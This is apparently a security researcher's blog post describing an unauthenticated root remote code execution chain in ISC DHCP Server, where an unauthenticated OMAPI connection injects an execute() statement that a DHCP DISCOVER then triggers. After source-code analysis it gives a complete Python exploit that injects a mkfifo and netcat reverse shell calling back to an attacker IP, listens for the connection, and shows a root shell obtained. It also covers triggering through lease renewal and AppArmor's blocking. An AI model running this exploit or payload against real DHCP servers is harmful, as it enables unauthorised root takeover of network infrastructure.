Chaining ISC DHCP Server Features for Unauthenticated Root Remote Code Execution

Estimated Reading Time: 15 minutes

While doing some code analysis of network services running as root in one of my lab VMs, I came across ISC DHCP Server (dhcpd), a common DHCP implementation in Linux environments.

I decided to clone the code and see what I can get from it using LLMs, I used Opus 4.6 to build a better knowledge base from offensive security perspective for the code, and after spending time reading through the source code and pointing my agent to give me potential starting points, I found something interesting, not a direct vulnerability, but a chain of intended features and behaviors that, when combined together, give you unauthenticated remote code execution as root.

This isn’t about memory corruption bugs or logical vulnerabilities. It’s about understanding how a piece of software is designed, how its components interact, and how those interactions create an unintended path from unauthenticated network access to arbitrary command execution as root.

Sometimes the most dangerous bugs aren’t bugs at all , they’re features working exactly as documented, in a combination that nobody considered before from an offensive perspective.

It was a fun ride for me to understand more about DHCP internals and how it works on both the protocol level and the application (service) level, and I tried my best to simplify what I learned here.

Summary about ISC DHCP Server

ISC DHCP Server is the reference DHCP implementation maintained by Internet Systems Consortium. It’s been around since the mid-1990s and it was deployed on millions of systems worldwide, from small office servers to large enterprise and ISP environments.

It’s worth to mention that ISC officially declared DHCP Server end-of-life in late 2022. The last maintenance releases were versions 4.4.3-P1 and 4.1-ESV-R16-P2, published on October 5, 2022, and ISC does not intend to issue further updates. They recommend migrating to their newer DHCP server, Kea. However, despite the EOL status, ISC DHCP remains widely deployed.
many Linux distributions still ship it, and you may see production environments haven’t migrated yet. The full EOL announcement is available at https://www.isc.org/dhcp/.

The server runs as root because it needs privileged access to bind raw sockets at the link layer for sending and receiving DHCP packets. It handles IP address allocation, lease management, and dynamic host configuration for network clients.

We can easily spot the process and see that it’s listening on port 7911/tcp and port 67/udp:


➜  ~ ps aux | grep -i dhcpd     
root     1619626  0.0  0.1 105572 10344 ?        Ssl  18:34   0:00 /usr/sbin/dhcpd
➜  ~ sudo ss -tulnp | grep dhcpd
udp   UNCONN 0      0            0.0.0.0:67         0.0.0.0:*    users:(("dhcpd",pid=1619626,fd=10))      
tcp   LISTEN 0      1            0.0.0.0:7911       0.0.0.0:*    users:(("dhcpd",pid=1619626,fd=11))      

A few words about DHCP

DHCP (Dynamic Host Configuration Protocol) is the protocol that automatically assigns IP addresses and network configuration to devices when they join a network. Every time you connect your laptop to Wi-Fi or plug in an Ethernet cable, DHCP is what gives your machine an IP address, default gateway, and DNS servers without any manual setup.

ISC dhcpd implements the server side of this protocol. It listens for these broadcast packets, manages a pool of available IP addresses (leases), tracks which addresses are assigned to which clients by their MAC address, and handles lease renewals and expirations.

It also supports static host declarations, which let administrators map specific MAC addresses to fixed IPs and custom configuration through host entries.

That’s important to know because we should keep it in mind while building our exploit later on.

What is OMAPI?

OMAPI (Object Management API) is a TCP-based management protocol that dhcpd exposes for runtime object manipulation. When configured with an omapi-port directive in dhcpd.conf, The server listens on that TCP port and allows clients to create, modify, query, and delete server objects like hosts, leases, and groups.

In our DHCPD service, we can see that OMAPI listener is configured to start in server/dhcpd.cas the following:

void postdb_startup (void)

{

/* Initialize the omapi listener state. */

if (omapi_port != -1) {

omapi_listener_start (0);

}

OMAPI supports optional HMAC-MD5 authentication via the omapi-key directive. But “and this is the first link in the chain” authentication is completely optional. Many deployments enable OMAPI for management tools without configuring a key, leaving the interface wide open.

A common configuration that exposes OMAPI:

omapi-port 7911;

That’s it. One line. No authentication. Anyone who can reach TCP port 7911 can manipulate server objects.

Analyzing the chain

Each component in this chain works exactly as designed. The problem is what happens when they interact. We connect to the OMAPI TCP port which requires no authentication by default, and create a host object with a statements attribute containing an execute() directive and a hardware-address matching a known DHCP client.

The server parses our statement using the same configuration parser it uses for dhcpd.conf, with no restrictions on which statement types are allowed, and stores the result in memory attached to the host entry.

Then we send a DHCP DISCOVER broadcast, which is an unprivileged operation that any local user can perform with a chaddr field matching the MAC address we registered.

When dhcpd processes the broadcast, it looks up host entries by hardware address, finds our injected host, and executes the attached statements as part of normal DHCP processing. Our execute() statement calls fork() + execvp() as whatever user dhcpd runs as root.

From an unauthenticated TCP connection to root code execution, every step is a documented feature working exactly as intended.

OMAPI accepts the statements attribute on host objects

In dhcpd’s configuration language, host declarations can contain executable statements which is a configuration directives that run whenever the host is matched during DHCP processing. These are the same statements you’d write inside a host {} block in dhcpd.conf:

```
host example {
    hardware ethernet 00:11:22:33:44:55;
    fixed-address 10.0.0.100;
    option domain-name-servers 8.8.8.8;
    execute("/usr/local/bin/notify", "new-lease", "10.0.0.100");
}
```

Internally, every host declaration has a group pointer, and that group holds a linked list of executable_statement structures:

struct group {
    struct group *next;
    int refcnt;
    struct group_object *object;
    struct subnet *subnet;
    struct shared_network *shared_network;
    int authoritative;
    struct executable_statement *statements;
};

struct host_decl {
    ...
    struct group *group;
    ...
};

Since OMAPI is exposed now via this config, so I wanted to investigate it more and see what we can do with it, and I noticed that when OMAPI receives a request to create or update a host object, it processes attributes through dhcp_host_set_value() in server/omapi.c.

Among the supported attributes is statements which allows injecting executable configuration language directly into the host entry:

isc_result_t dhcp_host_set_value  (omapi_object_t *h,
				   omapi_object_t *id,
				   omapi_data_string_t *name,
				   omapi_typed_data_t *value)
{
......
if (!omapi_ds_strcmp (name, "statements")) {
    if (!host -> group) {
        if (!clone_group (&host -> group, root_group, MDL))
            return ISC_R_NOMEMORY;
    } else {
        if (host -> group -> statements &&
            (!host -> named_group ||
             host -> group != host -> named_group -> group) &&
            host -> group != root_group)
            return ISC_R_EXISTS;
        if (!clone_group (&host -> group, host -> group, MDL))
            return ISC_R_NOMEMORY;
    }
    if (!host -> group)
        return ISC_R_NOMEMORY;
    if (value && (value -> type == omapi_datatype_data ||
                  value -> type == omapi_datatype_string)) {
        struct parse *parse;
        int lose = 0;
        parse = (struct parse *)0;
        status = new_parse(&parse, -1,
                            (char *) value->u.buffer.value,
                            value->u.buffer.len,
                            "network client", 0);
        if (status != ISC_R_SUCCESS || parse == NULL)
            return status;

        if (!(parse_executable_statements
              (&host -> group -> statements, parse, &lose,
               context_any))) {
            end_parse (&parse);
            return DHCP_R_BADPARSE;
        }
        end_parse (&parse);
    } else
        return DHCP_R_INVALIDARG;
    return ISC_R_SUCCESS;
}

When dhcpd matches a DHCP packet to a host entry, it walks host->group->statements and executes each one. This is how per-host configuration works, setting DHCP options, logging, conditional logic, and yes, running system commands via execute().

OMAPI exposes this same mechanism through the statements attribute. When you create a host object via OMAPI and include a statements value, the server takes your raw bytes and feeds them through the exact same configuration parser used for dhcpd.conf. The result is stored in host->group->statements, indistinguishable from statements that came from the config file.

Here’s how that works in code. When OMAPI receives a request to set an attribute on a host object, it calls dhcp_host_set_value() in server/omapi.c. The function checks the attribute name against a series of string comparisons name, hardware-address, hardware-type, ip-address, and then statements as we saw before.

The function clones the host’s group (or creates one from root_group if none exists), then creates a parser from the raw OMAPI value bytes via new_parse().

The critical call is parse_executable_statements() with context_any as the last argument. That context parameter controls which statement types the parser will accept, and context_any means all of them.

There is no allowlist, no filtering, and no distinction between “safe” statements (like setting DHCP options) and dangerous ones (like executing system commands).

parse_executable_statements parses attacker input as a configuration language

parse_executable_statements() in common/parse.c is the same parser used to process dhcpd.conf at startup. It loops over the input, parsing each statement and chaining them into a linked list of executable_statement structures:

int parse_executable_statements (statements, cfile, lose, case_context)
    struct executable_statement **statements;
    struct parse *cfile;
    int *lose;
    enum expression_context case_context;
{
    struct executable_statement **next;

    next = statements;
    while (parse_executable_statement (next, cfile, lose, case_context))
        next = &((*next) -> next);
    if (!*lose)
        return 1;
    return 0;
}

Each iteration calls parse_executable_statement(), which is a large switch statement that handles every statement type in the configuration language. Among them is the EXECUTE case the parser recognizes execute("command", "arg1", "arg2", ...); and builds an executable_statement with the opcode execute_statement:

case EXECUTE:
#ifdef ENABLE_EXECUTE
    skip_token(&val, NULL, cfile);

    if (!executable_statement_allocate (result, MDL))
        log_fatal ("no memory for execute statement.");
    (*result)->op = execute_statement;

    token = next_token(&val, NULL, cfile);
    if (token != LPAREN) {
        parse_warn(cfile, "left parenthesis expected.");
        skip_to_semi(cfile);
        *lose = 1;
        return 0;
    }

    token = next_token(&val, &len, cfile);
    if (token != STRING) {
        parse_warn(cfile, "Expecting a quoted string.");
        skip_to_semi(cfile);
        *lose = 1;
        return 0;
    }

    (*result)->data.execute.command = dmalloc(len + 1, MDL);
    if ((*result)->data.execute.command == NULL)
        log_fatal("can't allocate command name");
    strcpy((*result)->data.execute.command, val);

    ep = &(*result)->data.execute.arglist;
    (*result)->data.execute.argc = 0;

    while((token = next_token(&val, NULL, cfile)) == COMMA) {
        if (!expression_allocate(ep, MDL))
            log_fatal ("can't allocate expression");

        if (!parse_data_expression (&(*ep) -> data.arg.val,
                                    cfile, lose)) {
            if (!*lose) {
                parse_warn (cfile, "expecting expression.");
                *lose = 1;
            }
            skip_to_semi(cfile);
            *lose = 1;
            return 0;
        }
        ep = &(*ep)->data.arg.next;
        (*result)->data.execute.argc++;
    }

The parser extracts the command string (first argument) and builds a linked list of argument expressions. It stores everything in result->data.execute the command path in .command, the argument list in .arglist, and the count in .argc.

The resulting executable_statement is then attached to host->group->statements, sitting in memory waiting to be triggered.

The execute() statement is gated behind the ENABLE_EXECUTE compile flag, but it’s enabled by default. From configure.ac:

# execute() support.
AC_ARG_ENABLE(execute,
    AS_HELP_STRING([--enable-execute],[enable support for execute() in config (default is yes)]))
# execute() is on by default, so define if it is not explicitly disabled.
if test "$enable_execute" != "no" ; then
    enable_execute="yes"
    AC_DEFINE([ENABLE_EXECUTE], [1],
              [Define to include execute() config language support.])
fi

Every standard build of ISC DHCP Server has execute() been compiled in. You would need to explicitly pass --disable-execute during compilation to remove it, and nobody does that because most people don’t even know the flag exists.

Host matching during DHCP processing triggers statements

When dhcpd processes a DHCP DISCOVER or REQUEST, it looks up host entries by the client’s MAC address. In server/dhcp.c, the ack_lease() function calls find_hosts_by_haddr() with the chaddr field taken directly from the raw DHCP packet:

if (!host) {
    find_hosts_by_haddr (&hp,
                         packet -> raw -> htype,
                         packet -> raw -> chaddr,
                         packet -> raw -> hlen,
                         MDL);
    for (h = hp; h; h = h -> n_ipaddr) {
        if (!h -> fixed_addr)
            break;
    }
    if (h)
        host_reference (&host, h, MDL);
    if (hp != NULL)
        host_dereference(&hp, MDL);
}

When a matching host declaration is found, the code runs all statements attached to that host’s group, including our injected execute():

/* If we have a host_decl structure, run the options associated
   with its group.  Whether the host decl struct is old or not. */
if (host)
    execute_statements_in_scope (NULL, packet, lease, NULL,
                                 packet->options, state->options,
                                 &lease->scope, host->group,
                                 (lease->pool
                                  ? lease->pool->group
                                  : lease->subnet->group),
                                 NULL);

execute_statements_in_scope() in common/execute.c recursively walks the group scope chain and calls execute_statements() for each group’s statement list:

void execute_statements_in_scope (result, packet,
                                  lease, client_state, in_options,
                                  out_options, scope, group,
                                  limiting_group, on_star)
{
    struct group *limit;

    if (!group)
        return;

    for (limit = limiting_group; limit; limit = limit -> next) {
        if (group == limit)
            return;
    }

    if (group -> next)
        execute_statements_in_scope (result, packet,
                                     lease, client_state,
                                     in_options, out_options, scope,
                                     group->next, limiting_group,
                                     on_star);
    execute_statements (result, packet, lease, client_state,
                        in_options, out_options, scope,
                        group->statements, on_star);
}

execute_statements() iterates through the linked list of executable_statement structures. When it encounters an execute_statement opcode, it builds an argv array from the stored command and arguments, then calls fork() + execvp():

case execute_statement: {
#ifdef ENABLE_EXECUTE
    struct expression *expr;
    char **argv;
    int i, argc = r->data.execute.argc;
    pid_t p;

    /* save room for the command and the NULL terminator */
    argv = dmalloc((argc + 2) * sizeof(*argv), MDL);
    if (!argv)
            break;

    argv[0] = dmalloc(strlen(r->data.execute.command) + 1, MDL);
    if (argv[0]) {
            strcpy(argv[0], r->data.execute.command);
    } else {
            goto execute_out;
    }

    for (i = 1, expr = r->data.execute.arglist; expr;
         expr = expr->data.arg.next, i++) {
            memset (&ds, 0, sizeof(ds));
            status = (evaluate_data_expression
                      (&ds, packet,
                       lease, client_state, in_options,
                       out_options, scope,
                       expr->data.arg.val, MDL));
            if (status) {
                    argv[i] = dmalloc(ds.len + 1, MDL);
                    if (argv[i]) {
                            memcpy(argv[i], ds.data, ds.len);
                            argv[i][ds.len] = 0;
                    }
                    data_string_forget (&ds, MDL);
                    if (!argv[i]) {
                            goto execute_out;
                    }
            } else {
                    goto execute_out;
            }
    }
    argv[i] = NULL;

    if ((p = fork()) > 0) {
        int status;
        waitpid(p, &status, 0);
    } else if (p == 0) {
           execvp(argv[0], argv);
           log_error("Unable to execute %s: %m", argv[0]);
           _exit(127);
    }

No sandboxing. No privilege drop. No environment sanitization. No restrictions on what path can be executed. The execvp() call runs as whatever user dhcpd is running as, which is root.

The attacker’s command string flows from the OMAPI TCP message, through the parser, into the host’s group statements, and finally into execvp() as a direct system call with full root privileges.

The trigger is unprivileged

Sending a DHCP DISCOVER is an unprivileged operation. It’s just a UDP broadcast:

  • Source port: any (we’re the client)
  • Destination port: 67 (DHCP server)
  • Destination address: 255.255.255.255 (broadcast)
  • Socket option: SO_BROADCAST (not a privileged operation)

The DHCP DISCOVER contains a chaddr field where we place the MAC address that matches our injected host entry. When dhcpd’s BPF filter captures this broadcast frame, it processes it and matches against our host leads to triggering execute().

Putting it all together

None of these are bugs individually. OMAPI is working as designed. execute() is working as designed. Host matching is working as designed. UDP broadcast doesn’t need root. But chain them together and you get unauthenticated root RCE from any unprivileged user on the network.

Proof of Concept

#!/usr/bin/python3

# Exploit Title: ISC DHCP Server 4.1-4.4.x - Remote Code Execution (RCE)
# Date: 2026-04-29
# Exploit Author: Askar (@mohammadaskar2)
# Vendor Homepage: https://www.isc.org/dhcp/
# Version: 4.1.0 - 4.4.3-P1 (any version compiled with execute() support)
# Tested on: Debian 13

import argparse
import socket
import struct
import sys
import os
import time
import random
import subprocess
import select
from threading import Thread, Event

OMAPI_PORT = 7911


def pack_intro():
    return struct.pack("!II", 100, 24)

def pack_nv(name, value):
    return struct.pack("!H", len(name)) + name + struct.pack("!I", len(value)) + value

def pack_nv_int(name, value):
    return struct.pack("!H", len(name)) + name + struct.pack("!II", 4, value)

def pack_nv_end():
    return struct.pack("!H", 0)

def pack_message(op, handle, xid, rid, msg_nvs, obj_nvs):
    header = struct.pack("!IIIIII", 0, 0, op, handle, xid, rid)
    body = b""
    for nv in msg_nvs:
        body += nv
    body += pack_nv_end()
    for nv in obj_nvs:
        body += nv
    body += pack_nv_end()
    return header + body

def recv_exact(sock, n):
    data = b""
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("Connection closed")
        data += chunk
    return data

def recv_response(sock):
    header = recv_exact(sock, 24)
    authid, authlen, op, handle, xid, rid = struct.unpack("!IIIIII", header)
    nvs = {}
    for _ in range(2):
        while True:
            nlen = struct.unpack("!H", recv_exact(sock, 2))[0]
            if nlen == 0:
                break
            name = recv_exact(sock, nlen)
            vlen = struct.unpack("!I", recv_exact(sock, 4))[0]
            value = recv_exact(sock, vlen)
            nvs[name] = value
    if authlen > 0:
        recv_exact(sock, authlen)
    return {"op": op, "handle": handle, "nvs": nvs}


class OmapiConn:
    def __init__(self, host, port=7911, timeout=10):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.sock = None

    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.connect((self.host, self.port))
        self.sock.sendall(pack_intro())
        intro = recv_exact(self.sock, 8)
        ver, _ = struct.unpack("!II", intro)
        if ver != 100:
            raise ConnectionError(f"Bad OMAPI version: {ver}")

    def reconnect(self):
        self.close()
        time.sleep(0.5)
        self.connect()

    def close(self):
        if self.sock:
            try:
                self.sock.close()
            except OSError:
                pass
            self.sock = None

    def transact(self, op, handle, xid, msg_nvs, obj_nvs):
        msg = pack_message(op, handle, xid, 0, msg_nvs, obj_nvs)
        self.sock.sendall(msg)
        return recv_response(self.sock)


def format_mac(mac_bytes):
    return ":".join(f"{b:02x}" for b in mac_bytes)

def parse_mac(mac_str):
    mac_str = mac_str.replace('-', ':')
    parts = mac_str.split(':')
    if len(parts) != 6:
        print(f"[-] Invalid MAC address: {mac_str} (need 6 octets, got {len(parts)})")
        sys.exit(1)
    return bytes(int(b, 16) for b in parts)

def get_local_mac():
    result = subprocess.run(["ip", "route", "show", "default"],
                           capture_output=True, text=True)
    iface = None
    for line in result.stdout.strip().split('\n'):
        parts = line.split()
        if 'dev' in parts:
            iface = parts[parts.index('dev') + 1]
            break
    if not iface:
        return None, None
    result = subprocess.run(["ip", "-o", "link", "show", iface],
                           capture_output=True, text=True)
    for part in result.stdout.split():
        if ':' in part and len(part) == 17 and all(c in '0123456789abcdef:' for c in part):
            mac_bytes = bytes(int(b, 16) for b in part.split(':'))
            return mac_bytes, iface
    return None, None


# Reference: RFC 2131 - Dynamic Host Configuration Protocol
# https://datatracker.ietf.org/doc/html/rfc2131#section-2
def build_dhcp_discover(mac_bytes):
    xid = random.randint(0, 0xFFFFFFFF)
    pkt = struct.pack("!BBBB", 1, 1, 6, 0)      # op=BOOTREQUEST, htype=ETH, hlen=6, hops=0
    pkt += struct.pack("!I", xid)                 # xid (transaction ID)
    pkt += struct.pack("!HH", 0, 0x8000)         # secs=0, flags=BROADCAST
    pkt += b'\x00' * 4                            # ciaddr (client IP - 0 for DISCOVER)
    pkt += b'\x00' * 4                            # yiaddr (your IP - filled by server)
    pkt += b'\x00' * 4                            # siaddr (server IP)
    pkt += b'\x00' * 4                            # giaddr (relay agent IP)
    pkt += mac_bytes + b'\x00' * 10               # chaddr (client hardware address, 16 bytes)
    pkt += b'\x00' * 64                           # sname (server host name)
    pkt += b'\x00' * 128                          # file (boot file name)
    pkt += struct.pack("!I", 0x63825363)          # DHCP magic cookie
    pkt += bytes([53, 1, 1])                      # Option 53: DHCP Message Type = DISCOVER
    pkt += bytes([55, 4, 1, 3, 6, 15])            # Option 55: Parameter Request List
    pkt += bytes([255])                           # Option 255: End
    return pkt

def send_dhcp_discover(mac_bytes):
    pkt = build_dhcp_discover(mac_bytes)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.sendto(pkt, ('255.255.255.255', 67))
    sock.close()


shell_connected = Event()

def connection_handler(port):
    print("[+] Listener started on port %s" % port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    shell_connected.set()
    print("[+] Connection received from %s" % addr[0])
    print("[+] Incoming root shell!!")
    try:
        while True:
            readable, _, _ = select.select([conn, sys.stdin], [], [])
            if conn in readable:
                data = conn.recv(4096)
                if not data:
                    print("[*] Connection closed")
                    break
                sys.stdout.write(data.decode(errors="replace"))
                sys.stdout.flush()
            if sys.stdin in readable:
                cmd = sys.stdin.readline()
                if not cmd:
                    break
                conn.send(cmd.encode())
    except (BrokenPipeError, ConnectionResetError):
        print("[*] Connection lost")
    finally:
        conn.close()
        s.close()


def delete_existing_host(conn, mac_bytes):
    xid = random.randint(1, 0x7FFFFFFF)
    resp = conn.transact(1, 0, xid,
        [pack_nv(b"type", b"host")],
        [pack_nv(b"hardware-address", mac_bytes),
         pack_nv_int(b"hardware-type", 1)])
    if resp["op"] == 3 and resp["handle"] != 0:
        handle = resp["handle"]
        xid2 = random.randint(1, 0x7FFFFFFF)
        msg = pack_message(6, handle, xid2, 0, [], [])
        conn.sock.sendall(msg)
        recv_response(conn.sock)
        return True
    return False

def inject_host(conn, mac_bytes, statement):
    host_name = f"pwn-{random.randint(10000, 99999)}"
    xid = random.randint(1, 0x7FFFFFFF)
    resp = conn.transact(1, 0, xid,
        [pack_nv(b"type", b"host"),
         pack_nv_int(b"create", 1),
         pack_nv_int(b"exclusive", 1)],
        [pack_nv(b"name", host_name.encode()),
         pack_nv(b"hardware-address", mac_bytes),
         pack_nv_int(b"hardware-type", 1),
         pack_nv(b"statements", statement.encode())])
    if resp["op"] == 3:
        return host_name
    else:
        msg = resp["nvs"].get(b"message", b"unknown").decode("ascii", errors="replace")
        raise RuntimeError(f"Host creation failed: {msg}")


def main():
    parser = argparse.ArgumentParser(
        description="ISC DHCP Server - RCE via OMAPI Statement Injection")
    parser.add_argument("--target", required=True, help="IP of the dhcpd server")
    parser.add_argument("--attacker-ip", required=True, help="Your IP for reverse shell")
    parser.add_argument("--attacker-port", required=True, type=int, help="Listener port")
    parser.add_argument("--mac", help="Target MAC (auto-detected if omitted)")
    args = parser.parse_args()

    print("=" * 60)
    print(" ISC DHCP Server - Remote Code Execution (RCE)")
    print(" Unauthenticated OMAPI Statement Injection")
    print("=" * 60)
    print()
    print(f"[*] Target        : {args.target}")
    print(f"[*] Reverse shell : {args.attacker_ip}:{args.attacker_port}")
    print(f"[*] Running as    : uid={os.getuid()}")
    print()

    if args.mac:
        mac_bytes = parse_mac(args.mac)
        print(f"[+] Using provided MAC: {format_mac(mac_bytes)}")
    else:
        local_mac, local_iface = get_local_mac()
        if local_mac:
            mac_bytes = local_mac
            print(f"[+] Local MAC detected: {format_mac(mac_bytes)} ({local_iface})")
        else:
            print("[-] Could not detect local MAC. Use --mac to specify.")
            sys.exit(1)

    print(f"[*] Connecting to OMAPI on {args.target}...")
    conn = OmapiConn(args.target, OMAPI_PORT)
    try:
        conn.connect()
    except Exception as e:
        print(f"[-] OMAPI connection failed: {e}")
        sys.exit(1)
    print("[+] Connected - no authentication required!")

    deleted = delete_existing_host(conn, mac_bytes)
    if deleted:
        print(f"[+] Deleted existing host for {format_mac(mac_bytes)}")
        conn.reconnect()

    rand_pipe = f"/tmp/.p{random.randint(1000,9999)}"
    revshell = (
        f"rm -f {rand_pipe};"
        f"mkfifo {rand_pipe};"
        f"cat {rand_pipe}|/bin/sh -i 2>&1|nc {args.attacker_ip} {args.attacker_port} >{rand_pipe};"
        f"rm -f {rand_pipe}"
    )
    statement = f'execute("/bin/bash", "-c", "{revshell}");'
    print(f"[+] Injecting reverse shell payload for {format_mac(mac_bytes)}...")
    try:
        host_name = inject_host(conn, mac_bytes, statement)
    except RuntimeError as e:
        print(f"[-] {e}")
        conn.close()
        sys.exit(1)
    print(f"[+] Host '{host_name}' created with execute() payload!")
    conn.close()

    handler_thread = Thread(target=connection_handler, args=(args.attacker_port,))
    handler_thread.start()

    time.sleep(1)
    print(f"[+] Triggering payload via broadcast DHCPDISCOVER...")
    for i in range(3):
        if shell_connected.is_set():
            break
        send_dhcp_discover(mac_bytes)
        print(f"[+] DHCPDISCOVER #{i+1} sent")
        time.sleep(2)

    handler_thread.join()


if __name__ == "__main__":
    main()

Running the exploit

$ python3 dhcp-server-rce.py --target 10.10.10.132 --attacker-ip 10.10.10.129 --attacker-port 1337 --mac 00:0c:29:3a:c0:aa

============================================================
 ISC DHCP Server - Remote Code Execution (RCE)
 Unauthenticated OMAPI + Statement Injection
============================================================

[*] Target        : 10.10.10.132
[*] Reverse shell : 10.10.10.129:1337
[*] Running as    : uid=1000

[+] Using provided MAC: 00:0c:29:3a:c0:aa
[*] Connecting to OMAPI on 10.10.10.132...
[+] Connected - no authentication required!
[+] Deleted existing host for 00:0c:29:3a:c0:aa
[+] Injecting reverse shell payload for 00:0c:29:3a:c0:aa...
[+] Host 'pwn-21512' created with execute() payload!
[+] Listener started on port 1337
[+] Triggering payload via broadcast DHCPDISCOVER...
[+] DHCPDISCOVER #1 sent
[+] Connection received from 10.10.10.132
[+] Incoming root shell!!
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

We popped a shell!

Notes on the trigger mechanism

The DHCP DISCOVER trigger must be sent from the same Layer 2 network segment as the target. This is because dhcpd uses a PF_PACKET raw socket (LPF) with a BPF filter, it captures frames at the link layer, not through the kernel’s IP stack. A broadcast from a different subnet will never reach dhcpd’s socket.

However, for remote exploitation from a different subnet, you can inject the host via OMAPI (which is plain TCP and routable) and let the payload fire passively when any DHCP client with the matching MAC performs its next lease renewal. The default lease time is typically 600-7200 seconds,

So the payload fires within default-lease-time / 2 without any active trigger.

One more thing worth mentioning, when I first tested this on Ubuntu, the exploit didn’t work. The injection succeeded, the OMAPI connection went through, the host was created, and it was persisted to the lease file, but the command never executed.

Ubuntu ships an AppArmor profile for dhcpd (/etc/apparmor.d/usr.sbin.dhcpd) that only permits executing /usr/sbin/dhcpd itself.

There are no exec rules for /bin/bash, /bin/sh, or anything else, so when the forked child calls execvp("/bin/bash", ...), AppArmor denies it at the kernel level.

The entire chain runs all the way through parse_executable_statements, host matching, execute_statements_in_scope, and into fork(), but the final execvp() gets blocked.

Tracing the chain through logs

One of the things that helped during analysis was watching dhcpd’s logs in real time while triggering the exploit. The execute_statement code path in common/execute.c logs every argv element at log_debug level before calling fork(), so you can see exactly what the server is about to execute:

dhcpd[1115]: execute_statement argv[0] = /bin/bash
dhcpd[1115]: execute_statement argv[1] = -c
dhcpd[1115]: execute_statement argv[2] = COMMAND

That’s our injected payload, printed by the server itself right before it forks. On a system with AppArmor enforcing, the next lines tell the story of why it fails:

dhcpd[49090]: Unable to execute /bin/bash: Permission denied
dhcpd[1115]: execute: /bin/bash exit status 32512

The first line comes from the forked child process (notice the different PID 49090 vs 1115) after execvp() returns with EACCES. The parent logs the exit status 32512 (which is 127 << 8 the _exit(127) The child calls when exec fails).

Immediately after, dhcpd continues processing the DHCP request as if nothing happened:

dhcpd[1115]: DHCPREQUEST for 10.10.10.129 from 00:0c:29:96:f1:d8 via ens33
dhcpd[1115]: DHCPACK on 10.10.10.129 to 00:0c:29:96:f1:d8 (VulnBox) via ens33

The kernel logs tell the other side of the story. Checking kern.log shows AppArmor’s denials with full detail:

audit: type=1400 apparmor="DENIED" operation="exec" profile="/usr/sbin/dhcpd"
       name="/usr/bin/bash" pid=932133 comm="isc-worker0000"
       requested_mask="x" denied_mask="x" fsuid=0 ouid=0

This confirms exactly what’s happening: the ISC worker thread (the thread that processes DHCP packets) tries to exec /usr/bin/bash, and AppArmor blocks it. Notice fsuid=0 the process is running as root. Without AppArmor, that execvp() would succeed.

When AppArmor is disabled, the execute_statement argv[] log lines still appear, but there’s no “Unable to execute” or “exit status”, the fork succeeds, the child execs cleanly, and the payload runs as root.

The only evidence in dhcpd’s own logs is those three argv debug lines followed by normal DHCP processing. The command itself runs silently in the background.

Conclusion

This is what I find interesting about this kind of research there’s no single “vulnerability” to point at. OMAPI is documented. execute() is documented. Host matching is documented.

The chain only becomes dangerous when you read the code, understand how the pieces connect, and realize that the combination creates an unintended privilege escalation path from unauthenticated network access to root code execution.

If you’re doing a code review of services that run as root, pay attention to feature interactions. Sometimes the most impactful findings aren’t memory corruption or injection bugs they’re design-level chains where each individual component is working correctly, but the composition is catastrophic.

One final note, I used Opus 4.6 to accelerate the initial code review by mapping entry points, tracing call paths through the parser, and building context on unfamiliar parts of the codebase. The chain itself came from manual analysis, but the LLM made the ramp-up considerably faster.

Leave a Reply

Your email address will not be published. Required fields are marked *